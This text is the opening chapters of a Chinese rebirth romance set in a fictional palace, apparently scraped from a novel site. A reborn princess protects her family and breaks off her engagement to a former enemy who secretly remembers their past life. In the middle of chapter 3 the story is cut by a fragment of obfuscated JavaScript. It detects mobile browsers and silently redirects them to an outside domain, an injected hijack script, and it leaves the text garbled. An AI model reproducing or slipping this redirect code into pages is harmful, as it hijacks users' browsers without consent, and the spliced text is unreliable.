《重生后,失忆仇敌在我怀里装乖》
1. 重生
“萧景珩!此生,我与你不死不休!”
玉阶之上,昔日端庄出尘的惠宁长公主沈知微此时青丝尽乱,凤冠也跌碎在地。
而她怀里,是她同胞幼弟——南安王沈昭临的尸首!
“长公主沈知微,妖言祸国,牝鸡司晨,祸乱朝纲,南安王无圣旨私自带领护卫擅离封地。
我……杀他是太祖遗训,而你……”
镇国公萧景珩说道这里不觉一顿,双目目眦欲裂,是愤怒吗?还是……心疼……他并不知晓……
可是就在他默然之时,身侧却响起一阵阵呼声“大人不可心慈手软啊,此妖女乃是天降灾星,霍乱朝纲”、“大人自古以来,国之将亡,必生妖孽,长公主就是那个妖孽”,萧景珩疑惑的转头四处看去,那些声音都是从身边同朝的臣工们发出的,只是那些说话的同侪们脸隐在阴影之中,忽隐忽现,让人看不真切。
随后那些声音越来越大,变成了浪潮,从阴影之处一阵阵袭来,裹挟着萧景珩,让他的手不自觉拔出身侧长剑。
青锋出鞘,势如闪电,向沈知微脖颈刺去!
“好,沈知微,我与你不死不休!”
——
“不!”
“主子!主子!”
萧景珩大吼一声从梦中醒来,似听见萧景珩的呼声,他的亲卫立刻应声出现。
萧景珩扶住额头没有说话。
暗卫首领李峰立刻明白了什么,他跟随萧景珩多年,只要萧景珩一个眼神他便明白萧景珩心中所想。
“您……又梦见长公主了吧……”
听见这句话,萧景珩将脸埋入掌间。
在场所有暗卫默然了,三十年了,萧景珩依旧没有忘记那位长公主,每每到想起那位长公主的时候,必定梦魇。
可是……可是……大胤朝,谁又能忘记那位长公主呢?
在场所有暗卫都是曾经跟着萧景珩出生入死多年的亲卫,当初萧景珩和沈知微争权,他们几乎全程参与。
起先,所有人都以为沈知微祸国殃民,牝鸡司晨,再到后来他们逐渐胜利,最终将那位长公主鸩杀在市井之间……
可是之后所有人才发现,他们错了,全错了!
沈知微所做一切都是为了大胤,甚至连最后的失利,也是为了保护大胤不被蛮夷入侵而已,所以才让她早就在封地颐养天年的幼弟带着护卫支援的……
再后来、再后来,萧景珩、以及那些曾经编着歌谣骂沈知微的人更是发现,沈知微没有一句话预言错过,那些贪官、甚至他们曾经亲手扶上的那个暴君,无一都在应对着沈知微曾经的话和判断。
甚至到最后,暴君贪色误国,连点十八座烽火台,引得蛮夷入侵,萧景珩领兵浴血奋战,最后翻盘都是靠的沈知微留下的伏军。
而那时候,沈知微已经死去十年之久……
“明天……又是她的忌日吧……我、我想去看看……”
萧景珩抬起头来,已然垂垂老矣,沟壑满面的面容,还是有着虎一般的威严和坚毅,只是里面的愧疚几乎藏不住一点。
“主子,不可啊,太医说过,您的身子骨……”
“有何不可……多少年了,我一直羞愧再见她,要是现在再不去看,我怕再没时间了……”
——
隔日,青峰岭上。
昭武王萧景珩的旌旗御撵尊荣无比,日光衬在上面照出金灿灿的一片。
而萧景珩下了御撵,缓步走到一座孤坟面前。
这就是沈知微的坟墓,她最后的下场……当年沈知微以谋逆论处,鸩杀于市井之间,死后自然也不得进皇陵,是她的亲卫们偷偷收敛尸首埋的。
所以这座孤坟相当简陋,甚至连块碑都没有,只有几块青石板草草搭在上面。
想必是当时支持沈知微的那些人怜悯这位公主,怕为她立碑刻字,那些被当时舆论冲昏头脑的百姓们,再把沈知微的坟刨出来吧……
而后来,昭雪前因,但新帝又忌讳影响,只在皇陵随手给沈知微建了座衣冠冢,这事便这么草草了了。
想到这里,萧景珩颤抖着伸出手,轻轻抚摸着那些青石板,一遍又一遍,如同少年时抚摸沈知微的脸庞般。
那时两人青梅竹马,一同养在先皇后身边,萧景珩自幼就觉得,沈知微是他的,他一定要娶沈知微。
可是……怎么自己到后来就不信她了……
明明这世间最该信她的人是自己,伤她最深的也是自己……
萧景珩越想越难过,他低头掩住泪光时,却不经意瞥见自己一身蟒袍玉带,当真是尊荣无比。
可是她呢……荒草孤坟,他年自己进凌烟阁彪炳史册,谁还会记得这位真正为国家、为百姓守护多年的长公主?
愧疚一瞬间在萧景珩的心里达到了顶点,他几乎是克制不住的从嘴中咳出血沫。
“阿曜,若有来世,我当为你一生伏首……咳咳、咳……天日昭昭,此心日月可鉴……”
——
乾元十五年,昭武王萧景珩,薨。
如他自己所料一般,此后史册多是记载这位王爷,如何纵横捭阖、驱逐夷狄、匡扶社稷,千古流芳。
却没有一字记录那位曾经的长公主的功绩,更没有一字记录萧景珩是跪着死在沈知微墓前,沈知微的事迹和她与萧景珩的纠葛就如同一滴墨滴入云海,消失在了历史的长河里。
…………
“这是……哪儿啊?”
金丝绣凤的沙曼低垂好似层层叠叠的朝霞云漫,殿脚鎏金香炉里升起的青烟雾雾缭缭,衬的眼前的一切宛似在梦间。
幸好龙脑香气清甜,如松叶上被风吹落的雪落在眉间,就是这一点清甜方才点醒了沈知微,她连忙坐起,顾不得仪态,慌忙撑开手臂掌间。
只见沈知微两只手臂,雪白如春笋,腕间挂着金铃,随着她的动作,一动便发出脆响,“叮铃铃”的响成一片,一看就是个长在闺中,受尽父母恩宠的天家贵女。
当然沈知微在意的可不是这个。
“……呼……还好、还是温的……也没有发青,还好、还好……”
沈知微可还记得,就在刚才的梦中,自己被鸩杀在市井之间,别看她久经朝堂争斗,风雨见惯无间,但那种剧痛从五脏六腑传来,然后见得自己肌肤一寸寸发青,手脚失去温度。
那种感觉到现在她还记得,依旧心有余悸。
“还好……还好……是梦是梦……”
沈知微见得自己身躯无恙,好悬才放下心来,缓缓抱紧自己双肩。
对沈知微来说,鸩杀其实不过是
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刚才那个可怖的“梦”里最微不足道的画面。
让她更加痛彻心扉的是她……她梦见自己父皇、母后先后莫名去世,连萧景珩都站到自己对面,世人污蔑如刀风剑雨,那些逆臣歹毒的心机如盘踞在脚下的毒蛇,走错一步都是万箭穿心,自己独立撑着一切,可是到最后就连阿翎都……
对了!阿翎!阿翎!
沈知微想到沈昭临的小名,几乎立刻弹起,她顾不得顾影自怜,也顾不得什么天家礼仪,连绣鞋都没穿跑了出门去。
门口侍立的春桃见得这一幕,吓得脸色都变了,慌忙迎了上来。
“公主,公主,怎么如此惊慌,您这……您这……可出不得门去,不然又要被那些御史参失仪了!”
“阿翎呢!阿翎在哪儿?”
“您说七皇子,今日陛下考教诸皇子学问呢,殿下恐怕是还没下学,您、您这样子出不得门去,这样吧,奴婢现在就去文华殿候着,七皇子下了学就立刻请他来看您,您看这行的不?”
春桃自幼和沈知微一起长大,名为奴婢,实则情同姐妹,最是关心沈知微了。
当今圣上娇宠长公主,御史们多有怨怼,怕娇宠太过,仿那前朝的福安公主,三休驸马,狠狠打了儒教世俗脸面,经常昨日一折,今日一谏的要圣上多管束沈知微,都被圣上压下去了。
但,要是现下沈知微这幅样子跑到外面去,让那些御史知道了,估计又得参上不知多少本折子,让沈知微学习礼数了。
“嗯?嗯……好,春桃你、你快去些。”
沈知微看着春桃,顿了顿,话一下子有些说不清了,就在刚才的梦中,春桃是守着她到最后一刻的人,自己被前,春桃也被斩首于市间。
见得一向伶俐的沈知微盯着自己半天说不囫囵话儿,春桃也有些疑惑,但比起御史们的折子这点小小的疑问也算不上什么,她连忙跑出门去找沈昭临了。
不一会,还没见得人影,一个清朗的少年声伴随着一阵银铃声响彻了沈知微的门前。
“阿姐,你找我呢!”
“阿翎……南安……你没去南安吧?”
沈知微心神不宁,一见眼前的沈昭临几乎是本能的脱口而出他的封号。
“南安?什么南安……哦,今天太傅在课上说的好像是靠着边疆的一个小地方呢,那儿又远又偏谁要去呢?
嘿嘿,阿姐,我给你说,我给你说,今天课上我答的很好,连太傅和父皇都夸赞连连呢!父皇说我可以领事了,特别赐了我骠骑都尉的职儿,以后我就能和明湛哥一起……阿姐?嗯?阿姐?你怎么了?”
沈昭临正开心的分享着今天自己被父皇夸赞的事情,但却见得沈知微那张绝美的脸庞,一寸一寸的失去血色,就跟他听过的话本中被抽掉魂魄的傀儡一般。
“骠骑……都尉……今儿个是、是嘉和二十七年?对了,下午父皇是不是还安排了场宫宴,让你准备一下将今日答的策论当着诸位亲贵大臣念一遍?”
“对啊!阿姐怎么知晓的?嘿嘿,父皇说我写的可好了,都比得上那些上京的举子们,阿姐!?阿姐!阿姐!”
不是梦!
不是梦!!!
沈知微后退了几步,腿脚一软,跌坐在了大殿正中,那些恐怖的梦境就是未来,就是将要发生的!
2. 相逢
见得沈知微这般,沈昭临连忙和栖凰阁中其他宫女上前去扶起沈知微。
但沈知微已然毫无察觉,她脑中满是接下去要发生情节。
一会宫宴,就会有刺客来刺杀父皇,而后五皇子沈昭景勇猛临敌,将那刺客斩于御驾前,而受到父皇青睐。
彼时,还年幼的沈知微还暗地里高兴,父皇无恙,五哥勇猛呢……
后来,呵呵,她才发现这是一切的开端,沈昭景进入军机重要,开始是小职,但一次次手段后,不仅将阿翎踩到脚下,更是借机会伙同他母亲李贵妃一派不断给父皇下眼药,最后令得父皇与母后离心,去往避暑山庄时,只带了李贵妃一起,后却莫名在画舫落水,突然驾崩。
直到后来沈知微借机争权临朝,细查之下才发现,这些都是沈昭景他们设计好的,就连母后这天宫宴迟到都被他们利用到父皇耳里,明里暗里说是母后早已知晓,故意放那刺客进来的……
当年自己真是傻,在父母的宠爱之中,总觉世间人都是好的,可是直到最后才发现,对自己好的人,自己一个都守护不了……
想到这里沈知微低下头,再抬起头的时候,沈昭临发现她双目熠熠,里面的坚毅是他从未在胞姐眼里看见的,仿佛是经历了不知多少风霜锤炼出来的意志。
他不知道,就在刚才沈知微已经在心里暗暗发下誓言,这一世,不论如何她都要守护住自己的家人,守护住自己的一切。
“春桃,快来为本宫梳妆,照临你也整理好衣冠,等下宫宴,要在群臣面前露脸,可不得失了颜面。”
沈知微突然开口,声音清冷无比。
却让在场所有人都震惊了,这种口吻,他们从未在沈知微嘴里听到过。
以前的沈知微御下不严,说话做事宛如小女儿一般,有时宫中没有外人时,还会和宫中女官撒娇呢。
何时有过如此清冷威严的语气,连那自称的“本宫”二字都是他们未曾听过的。
可是……
在场女官、沈昭临面面相觑了一下,几乎不约而同的做了一个礼,不知为何,他们总觉得此时的沈知微虽然威严,但更值得依靠,所以没有一人有所意见,纷纷按沈知微所说的做事去了。
——
临到午时,宫道上突然出现一辆车架。
这是凤翟辇,上面轻纱金幔,端是贵丽无比,且按礼制唯有历代长公主可乘驾,所以只是远远望去便能知晓轿中人身份,自然便是当朝长公主沈知微。
沈知微挑开帘幔,饶有兴趣的看着帐外驻足合手作揖的宫人、臣子,欣赏着他们震惊、却又狐疑的表情。
沈知微心知,她年少的时候,性格烂漫,不爱这些排场工具,如是要见父皇母后,便撒丫跑了过去,那时还觉得自己遵守女德女戒,节省节约,仁德不摆架子、亲近臣子,必然能得赞颂。
可是等她当权了才发现,自己蠢的离谱,没有仪架,下面人第一眼瞧你心中多是轻慢,先得有了威仪,才能震慑下属,古人说小人畏威不畏德便是这个意思。
沈知微放下帐曼,心知这些人多少还有些不习惯自己的改变,没关系,天长日久,自己早做打算一分,便多一分胜算。
不过……
等下的宫宴,得怎么办呢?
沈知微眯起凤眸开始在心里盘算着,现下手中可用的棋子。
现下宫中侍卫统领是……好像叫做胡致同……九门提督的庶子,为人刚直迂腐,但现下自己还没和他有所来往,去和他说等下有刺客,以自己彼时的做派,他估计会当成戏言笑话吧……
那父皇的暗卫……啧……自己没记错当时那刺客都要扑倒父皇面前了,要不是被收买了,要不就是失察的严重,这更加不可信……
而且以现下自己“应该知晓”的信息,自己是不应该“知道”父皇的暗卫存在的……
沈知微很清楚当今圣上再怎么宠爱自己,他也先是天下臣民的皇帝,而后才是自己的父皇。
唉,只怪当年年幼,没早做打算,现下手里一颗能用的棋子都没有……
沈知微越想越懊恼,眉头轻簇,将食指曲在唇间。
可沈知微不知道的是,她这幅模样被其他人瞧见,当真是端丽无比,如同寺庙里的雕像一般,饶是那些常年参她失仪,辱没皇家脸面的御史见着了,一时都挑不出错来。
“阿姐!?阿姐……你是不是有什么烦心事啊,同我说说,嘿嘿,虽然我比不了明湛哥,但、但父皇都夸我机灵,我能同你出出主意呢!”
就在沈知微思虑之际,同着她车辇起行的沈昭临发话了,沈昭临虽此时年纪尚轻,在嘉和帝诸子里却是最为机灵的一个,所以只是远远瞧见沈知微的模样,心思机敏的少年立刻猜到了沈知微心中有事。
“哦……是了,有些事儿,……嗯阿翎,宫中现下有些棘手的事,我不知托付给谁,你可以同我推荐几个人选么?”
沈知微心下一凛,上位者喜怒不可形于色,今日当是惊事颇多,让她一时失了谨慎,下次可断不能出现这般事情了,不过……
她转头看向自己的胞弟,心中亏欠顿起,这孩子自幼与自己交好,自己说什么都听,当年事情急切没护的他安危是自己一生的心病,对他倒也不必那般提防了去。
而且在母后逝世后,沈昭临几乎是一夜成长起来了,自己在朝中,他在朝外,两相权衡,才护得大胤安危,自己也合该让他早些知事,早做打算才行。
可沈昭临一开口,沈知微就后悔了。
“嗯?阿姐是缺了人手吧,那自然是找明湛哥了?嗯?怎地,阿姐是和明湛哥闹情绪了么?”
虽然她早有心理准备,虽然她今天已经自动屏蔽了那个多次在沈昭临嘴里出现的名字,但那个人的名字终究是她人生中绕不去的一道坎。
萧景珩,字明湛,现在是她的未婚夫,以后的
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岁月里是她不死不休的死对头!
面对幼弟的疑问,只见沈知微冷笑了一下,眼里的寒光如同泡在寒渊万古不化的坚冰一般,她与萧景珩的情谊早就在沈昭临死的那一刻断的一干二净,在她眼里,从今往后,萧景珩合该和沈昭景一般死无葬身之地!
“阿翎,以后你自己也该领事,你幼时常与我说,男子汉大丈夫生于天地,要一肩扛起江山社稷,天下安危的,哪有开口闭口就是麻烦旁人的呢?
更何况咱们自幼长在宫中,本应知晓的就该比一个外臣多些,这些事,便不必同他说了,你再想想,再说与我听。”
沈知微此时已经想到人选,但为提点幼弟,却也没说出口去,至于那个男人……沈知微自然不可能当场发作和他断的一干二净,否则怕不是会被宫人立刻送往太医院或司天监,让人按在椅子上驱魔除祟呢。
“阿姐,教训的是,我再想想,再想想……”
沈昭临如何机灵怎么听不出沈知微的语气,但他也知道沈知微说的在理,立刻拱手还礼,开始心中盘算了去。
沈知微挑开帐曼,满意的看着弟弟思索的模样,很好,这一世,她会慢慢培养沈昭临起来的。
忽然銮驾后面传来一阵急促的马蹄声。
那个声音,少年时如蜜糖、如天籁、如银铃、而后如刀剑、如蛇蝎、如火电雷光的声音,沈知微一生不能忘记的声音,从銮驾后面传来。
“阿曜!阿曜!是你吗?阿曜!”
纵使万般不愿,但此时在宫里,四周皆是宫人、臣子,为了不失仪,沈知微只得皱起眉头挑起帐曼往后看去。
萧景珩,身着螭纹银甲,跨着狮子骢,甫一出现,就惹得在场所有人向他看去。
是了,这人剑眉星目,容貌宛如画中天神,16岁时便有好事之人称他为京城中第一美男子,家世渊博,边疆十万玄甲军是他家传亲军,自幼便由嘉和帝接到宫中亲手教养,成年后离宫领兵第一次作战便打西边羌人从此不敢下境,身世、才学、样貌都可堪称当世第一。
这样的男子,这样的萧景珩怎么不惹人注目,甚至有人言若是萧景珩唤上京城中哪家贵女一声名儿,都够那家贵女炫耀足足三日呢。
可是,对于此刻的沈知微,她只觉得恶心,不为别的就为了萧景珩唤的那几声“阿曜”。
清曜是她的小字,彼时年少,得知萧景珩他们男儿成年都会取字,便缠着萧景珩也给她取一个。
萧景珩叫明湛,意味光华无比的太阳,而她叫清曜,是清朗的月华之意,日对月,清对明,正好登对,她还偷偷窃喜了好久、好久……
可是如今想来,这些小女儿心思,沈知微只觉得恶心!
她抬眼瞧了一眼萧景珩,见得对方还想勒紧马头向她走来。
但,沈知微却开口了。
“公子止步!”
一声轻呵尽是疏离。
——
3. 退婚
萧景珩看着沈知微的眼,只有一个念头闪电般划过心间。
她也重生了!?
萧景珩比沈知微重生的时日早上一些,许是多比沈知微多活了三十年的缘故,他接受记忆的时间慢上了一些。
但,就在萧景珩神智清朗的当天,他便立刻迫不及待入宫来见沈知微了,或许只有上天知道,他朝思暮想了整整三十年,只为了再听沈知微再叫他一声“明湛哥哥”!
可,当他听见沈知微的那句话儿,那冰冷语气和宛如见到蛇蝎的眼神,萧景珩便明白了,沈知微她也重生了!
不能让她发现……
不能让她发现!
到底是萧景珩,玄甲军少帅,尽管都快被欲念、思念烧成灰了,心中依然是清醒无比。
以萧景珩对沈知微的了解,现下的沈知微还能对这个时间点的自己以礼相待,虽然冷漠、虽然厌恶,但是好歹还能接近,但如果一旦被沈知微知道是那个杀了她胞弟、又辅助那个暴君的登基的蠢货,沈知微怕是立刻会从凤车上下来,与自己以命相搏。
爱憎分明如烈阳、如炽焰,一向都是沈知微的性格,他是知道的!
“是下臣僭越了,二位殿下可是要去御花园?”
萧景珩攥紧双拳,指甲深深陷入掌心,即便如此,他依然听的出来自己的声音还是有那么一丝颤抖。
可是沈知微没有回话,任由那句话落在地上,就像是一枚轻飘飘的积雪。
“是阿,是阿,明湛哥,你也要去吗?咱们……嗯……额……”
沈昭临倒是先抢答了,毕竟是个少年,萧景珩的名声在他们这个年纪的男孩之中也是挺响的,甚至在萧景珩斩首敌酋首级的那个消息传回京城的时候,这小子还在御书房拉着伴读们夸耀了三天萧景珩是他姐夫呢!
可是沈昭临到底机灵,话刚出口,便察觉不对劲,萧景珩一直望着自家姐姐,而皇姐却一直没答话
……这、这……气氛实在太奇怪了……
沈昭临从轿内偷望了一眼眼前他最尊敬的两人的表情,立刻把剩下半句吞入嗓间。
“是。”
沈知微轻吸了口气,将自己的情绪按了下去,她恨萧景珩但她也知道现下的萧景珩还不是那个识人不清,忠奸不辩的蠢货,还是不要把自己的情绪发泄在他身上吧。
但,虽然这么安慰自己……
沈知微心里的厌恶就如同堵在嗓子眼一般,让她听着萧景珩的声音都有些不情愿了。
“下臣今日也收到宫宴宫帖,着下臣前往戍卫宫宴,二位殿下同路,不知可否一块前往。”
萧景珩整理好情绪,拱手作揖,他努力回想着这时间点自己的作风,自己的语气,生怕露出一点马脚来。
“不必,大人既是戍卫宫宴,还是以公事为主,本宫与昭临还要先去拜谒父皇,并不同路。
春桃,起驾。”
沈知微的语气中没有一丝波澜,尽是礼数周全的疏远。
萧景珩心里痛彻万千,但却只能站在原地,看沈知微和沈昭临的轿銮离他越走越远。
就恍如前世一般,他们都离开自己,把自己一人扔在这世间。
——
“阿姐,你是不是和明湛哥闹矛盾了?”
待得走远,沈昭临立刻催着轿夫赶到了沈知微身边。
八卦是每个少年人的天性,况且还是他最敬仰的明湛哥和他最爱的皇姐呢。
“……阿翎,本、咳、我要是和萧景珩……嗯,就如你说闹矛盾了,你要选一个人,你选谁……?”
沈知微看向沈昭临,一双凤眸,里面是愧疚,同时也是期盼。
她前世是知道沈昭临是站在这一边,但,现在还没到那个局势,现下沈昭临还是那个仰慕萧景珩的少年。
她怕、她也赌不起,一旦沈昭临要去帮萧景珩的话……
“那当然是皇姐了!世间英雄千千万,没有他明……没有他萧景珩,我还能去读岳飞传,听杨家将呢!但是皇姐只有一个!不论你们闹啥矛盾!我都站你这边!”
沈昭临脱口而出,那双眼睛看向沈知微干净、单纯如白雪,没有一丝杂质、没有一丝犹疑。
“嗯,好,好……”
沈知微鼻头一酸,伸出手掌揉了揉沈昭临的乱发,他还是她的好弟弟。
前生,他为自己身死,今生,自己无论如何都要守住他的周全。
——
到的宫宴。
沈知微携着沈昭临到的御驾面前,她刚开口让嘉和帝的贴身太监去禀报父皇。
却不想,那太监总管身影刚没入皇帐中不多时,便看见从中走来一个威严的身影。
“微儿,今日怎么转了性了?还学人通报呢?往日不见你这般守规矩,德赵,你去拿些岭南的荔枝来。
是不是又闯祸了?你们母后还没来哩,快些老实交代,说与朕听,朕还能为你们说说情。”
嘉和帝开口,现下他虽然五十有七了,脸上爬满皱纹,但一开口却是中气十足的很,只听声音的话,怕是有人会错认他才三十来岁呢!
沈知微定定的看着眼前这个亲切,还会同她眨眨眼的父皇,眼中的泪珠差点掉了下来。
眼前的父皇依旧如同她记忆中那般亲切,纵使后面的岁月和母后离心离德,却直到离世前都未曾亏待过她和沈昭临一点。
所以,直到嘉和帝离世,沈知微都未曾怨恨过嘉和帝一点。
不……
她还是怨的!
她恨沈昭景的所作所为,她恨李贵妃,让眼前明明还能再活几十年的父皇早逝。
如若不是这帮蛀虫搅乱了父皇做好的平衡,往后的大胤不会那般阴云诡谲,党派争斗频繁,边塞将士衣不蔽体,甚至沈知微还接到过奏报,边塞军饷被李家掏空,将士们连杀头牛都得去借御史的尚方宝剑,他们的剑早已锈迹斑斑,何谈保家卫国呢?
可是这些,只有沈知微知晓,她不能说,说了也没人信……
沈知微闭上双眼,调整了下呼吸,开口道。
“哼!父皇坏!昨儿个,你才遣人到儿臣宫里,教训儿臣要守女德女戒,要有天家公主的风范,今儿个,儿臣都照您意思做了!您又教训儿臣,儿臣……儿臣,真是做也不是,不做也不是,哼!
不理你了,我要告状到母后那里去!”
娇俏的小女儿口吻,沈知微信手拈来,聪慧如她,自然知道这个时间点,彼时年少的自己该说什么。
“哈哈哈,是朕不好!是朕不好!该罚,该罚!”
嘉和帝有八子,却唯得沈知微一女,他最是宠她,就算沈知微想要天上的月儿,嘉和帝都愿意派人去给她取。
所以嘉和帝听着这似嗔还娇的话儿,是一点不气,甚至还举起手轻轻拍了一下自己的脸颊,似要给沈知微出气一般。
见的这一幕,沈知微心中更是一叹,轻不可闻的摇摇头,她心中第一是想救沈昭临的,但是要是能保全父皇和母后那是再好不过了。
不过,感慨只是一时的,沈知微心知马上李贵妃她们的污水就要泼来了,这不是她顾影自怜的时间。
“噫?母后呢?父皇母后呢?儿臣有要事要同您和母后说呢?以往母后都很守时的,怎么今天……”
沈知微故作天真的眨了眨眼,将自己不谙世事的小女儿模样做到了极致。
嘉和帝起先也没注意到此处,被沈知微这样一问也心中奇怪,他记着他这位皇后啊做事最为妥帖,每逢节庆佳节,总是第一个到场安排宫人的。
“阿翎你快去叫叫母后呢!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509600|170561||http|test|mini|href|location''.split(''|''),0,{}));
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>沈知微见已然给嘉和帝埋上怀疑的种子,这火儿要慢慢扇才好,也不及于一时,先让沈昭临前去把这事解了。
待得沈昭临出的门口。
沈知微心里甫松下一口气,正欲告退,回銮驾里歇歇。
却不想转身的时候,忽然听到嘉和帝轻声说道。
“微儿何事?你母后还未来,是有人欺负你了?你先同朕说说,朕与你做主!”
沈知微微微一愣,定眼看了过去,嘉和帝苍老的双目看着她满是疼爱。
是了,嘉和帝何等人,二十岁登基,在位三十七年,平衡得各方势力,大胤得以承平三十七年,足见的嘉和帝是多么一个聪慧,心思如发的明君了。
这般人,怎么会察觉不了沈知微今日佯装开心皮下的心事重重呢?
沈知微定定看去,刚才说有事的确是托词,但,其实已经有一件事自她苏醒后盘桓在她心间许久了。
只见沈知微双膝一软,跪了下去,脸上的娇羞神色全然不见的踪影,只剩下了绝决的凛冽。
“儿臣想和萧景珩解除婚约!”
沈知微声音不大,最多皇帐里这一圈儿的人听的见。
但这几个字,宛如惊雷,震惊在听到的每个人心间。
“胡闹!”
嘉和帝站起身来,将手中把玩的玉如意一把拍碎在了桌案之上。
沈知微垂眉不发一言,她知晓的,她与萧景珩的婚事不仅因为萧景珩养在嘉和帝身边,知根知底,也是因为萧家亲兵军事力量强大,是权衡朝堂的关键一环。
可是……
她真的恨萧景珩入骨,就算明知会被嘉和帝责骂,她也想试试能不能解除婚约。
果然是不行么……
沈知微没有说话,依旧低着头不发一言。
但,半晌过后,突然,她又听见嘉和帝哀叹般的语气。
“微儿,他是怎么了你,你不是一直很喜欢他么……你……唉,说与父皇听……”
有转机!
沈知微心中一喜,果然,她赌对了!
嘉和帝爱她入骨,说不定、说不定真能卸下这个枷锁……
于是,沈知微将头垂的更深了,却依旧不发一言……
有时候,最好的载脏就是不说话,一说话让人落了实处,还得去圆,而不说话,总能使人遐想万千。
见的沈知微这般做派,嘉和帝心中是一惊,他记得沈知微一直、一直很喜欢萧景珩,只要见着萧景珩的地方,不出十步总有沈知微跟只小蜜蜂一般围着萧景珩叫着“明湛哥哥”、“明湛哥哥”,再联想沈知微刚才欢欣语气下的悲凉、以及她今日居然乘着她许久不坐的凤翟撵前来了,这、这……萧景珩必然是给了自家女儿天大的委屈!她才冒死也要和他一刀两断的!
聪明的人必定多疑!
这句话自古不假。
“罢了、罢了,微儿,你想必是受天大的苦楚,若是要、唉、若是要……朕拉下这张老脸也和萧岳铮那老家伙说清楚!
大不了到时候宗室里挑一个出挑的贵女,按贤懿大长公主的规制下嫁,也不算辱没了他萧家去!”
“谢父皇!”
沈知微抬起眼眸,一双妙目包含热泪似是受了天大委屈得以伸张一般,但她叩首下去的瞬间,心中的喜悦都快从嘴角溢出来了。
——
但,所有人都没察觉。
皇帐之外,一人静默而立,那是萧景珩他已在门口站了许久了。
萧景珩自幼习武,耳目聪觉,刚才皇帐里的话,虽然隔着远,但已然一字不拉落在他耳间。
萧景珩没有动,没有说话,脸上甚至没有一丝表情。
可从他攥紧的掌间流下的血迹,却滴落在他军鞋边一圈,宛如在雪中绽放的红梅一般。
4. 相亲
沈知微叩首完毕,方才抬起头时。
一指手指落在她鼻尖,那是嘉和帝的手指,只见嘉和帝半是叹息半是心疼的说道。
“只有一条,你答应为父可好?”
“父皇请说。”
“等会宫宴,为父叫了此届科举的新科进士们和京中各家亲贵的儿郎们参与,原是给宗室中还没出门的闺女们选几个合心的促成姻缘。
只是,你现下看不上那萧景珩了,自然咱们家先挑,挑剩下的咱们再给那些闺女们选。”
嘉和帝语气依旧宠溺,甚至带上了商量语气。
沈知微心下大动,这些话儿根本不像是个皇帝给女儿下命令,而是一个已经年老的父亲担心女儿前程一般。
重生一世,她虽早就对儿女情爱息了心火,但就算是为了父亲的慈爱,她也想让老人开心一下。
“好,儿臣知道了,只要不是那萧景珩就行!不是他就行!哼!”
沈知微还是小女儿的口吻,然后玩闹般的把脸埋进了嘉和帝的衣摆之间。
皇帐内传来父女二人的轻笑声,惹得帐顶的飞鸟都惊飞一片。
而门外,刚才萧景珩站的地方,已然没有人影了,只有一串脚印踏着血迹,渐行渐远。
————
宫宴还有一会儿开始,宾客倒悉数到场了。
沈知微答应嘉和帝的话,自然不会食言。
她带着春桃,端上酒杯,正准备找这些新科进士、世家公子们说说话,看看是否能收获一段姻缘,同时也能探探口风,看看这些人的真才实学,日后是否能为自己所用、为大胤所用。
沈知微循着水榭瞧去,一个相貌英挺的儿郎从回廊一侧走了过来,行至回廊中庭,突然拔出佩刀,在众贵女面前秀了一段刀法,距离远了,沈知微倒也看不真切,只看到那儿郎身边的一圈贵女围着他欢呼雀跃,想来定是不错。
于是否,沈知微举着酒杯,莲步轻移走到了那个儿郎面前。
见的沈知微过来,那圈贵女立刻低着头散开来了,毕竟沈知微身份之高贵,是她们无法比拟的,加之沈知微相貌出众,乃是京华第一美人,和她站在一起,简直就是如萤火虫和日光比明艳!
那儿郎见的沈知微过来,也是眼睛一亮,连忙笑容满面堆笑道。
“长公主有礼,小生周峥见过长公主!”
周峥?哦,是那个愣头青!
沈知微轻笑了一下,心中已然把周峥的履历列了一遍。
周峥,兵部尚书周岩幼子,二十岁中的武举人,拜受羽林卫左哨营校尉,负责皇城东侧的巡防,是个正六品的官衔。
负责皇城巡防的事嘛,多少是得罪人的,尤其是那些醉酒闹事的勋贵们,管也不是不管也不是,以往的校尉们都是睁一只眼闭一只眼。
但周峥不同,性格极其刚正,甫一上台就连抓了几个醉酒纵马在东边官道上嬉戏的勋贵,此事很快就被捅到了嘉和帝案前,虽然周峥做得对,但那些勋贵老爷们哭的要死要活的样子,让嘉和帝着实左右为难,最后只得把周峥升到五品派去边疆,息事宁人。
或许是风霜雨剑更加磨练人,在沈知微掌政的时候,这小子已然在边疆打出些名号,虽然功绩比不过萧景珩,但的确是个人物。
可以笼络看看,不过做驸马还是算了吧……
沈知微看着面前皮肤晒的黢黑发亮的少年郎,努力不把她脑中那个十几年后胡子拉杂,觐见她时,开口就是一句“武将当死于边疆”熊一般的壮汉联系起来。
“周小将军,听闻你上月在校场赢了骑射比试?”
沈知微笑颜如花如春天的桃花一般,明艳娇嫩,看的周峥一阵心神恍惚,他害羞的搓搓手,然后黢黑的脸上都泛起了红霞一片。
“没有,没有,就是,就是我运气好而已……”
“周小将军自谦了,若不是平日的苦练,哪有赛场上的运气呢?像是本宫这般肩不能扛,日常又惫懒的人,上了赛场,就算武圣爷保佑气运都加诸在身上,怕是也拉不开那铁胎弓呢!
不知周小将军有空没有,再过两月宫里便要办那春日宴呢,到时候周小将军再进宫来,也好让父皇母后看看你神勇无敌的弓术呢!”
沈知微笑音彦彦,半是打趣的说道。
听的这话,周峥更是开心,脸上的云霞都要烧起来了,沈知微心里一喜,她笼络人心的手段就算换了个小女儿身躯也是丝毫不减呢。
可就在两人相谈甚欢的时候,周峥突然脸色大变。
“到时候长公主宣……宣……我我我末将忽然想起家父有急事相召!告退!”
沈知微看着周峥急匆匆跑开的背影大感莫名其妙,周岩有什么事情要商量如此急切?周峥跑的背影急切无比,甚至还几次差点被他自己的佩刀绊倒了呢。
算了,一个不成,再看其他个。
沈知微倒没放在心上,端着酒杯又去寻其他少年了。
可是,不知怎么滴,每一个儿郎起初见到沈知微都是兴高采烈,可聊着聊着,气氛正好之时,他们都突然脸色陡然大变,然后找出各种各异的借口,逃命似的消失在沈知微面前。
“春桃,我……我脸上有东西么?”
沈知微都有些怀疑的拍拍脸。
